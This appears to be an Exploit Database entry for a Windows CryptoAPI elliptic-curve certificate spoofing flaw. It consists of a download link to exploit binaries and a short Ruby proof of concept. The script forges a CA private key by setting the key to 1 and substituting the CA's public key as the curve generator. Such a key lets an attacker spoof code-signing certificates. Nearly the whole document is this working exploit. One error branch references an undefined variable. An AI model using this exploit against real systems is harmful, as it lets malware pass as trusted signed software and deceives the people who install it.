Microsoft Windows – CryptoAPI (Crypt32.dll) Elliptic Curve Cryptography (ECC) Spoof Code-Signing Certificate
# EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47933.zip require 'openssl' raw = File.read "ca.crt" ca_cert = OpenSSL::X509::Certificate.new(raw) # Parse public key from CA ca_key = ca_cert.public_key if !(ca_key.instance_of? OpenSSL::PKey::EC) then puts "CA NOT ECC" puts "Type: " + key.inspect exit end # Set new group with fake generator G = Q ca_key.private_key = 1 group = ca_key.group group.set_generator(ca_key.public_key, group.order, group.cofactor) group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE ca_key.group = group puts ca_key.to_pem |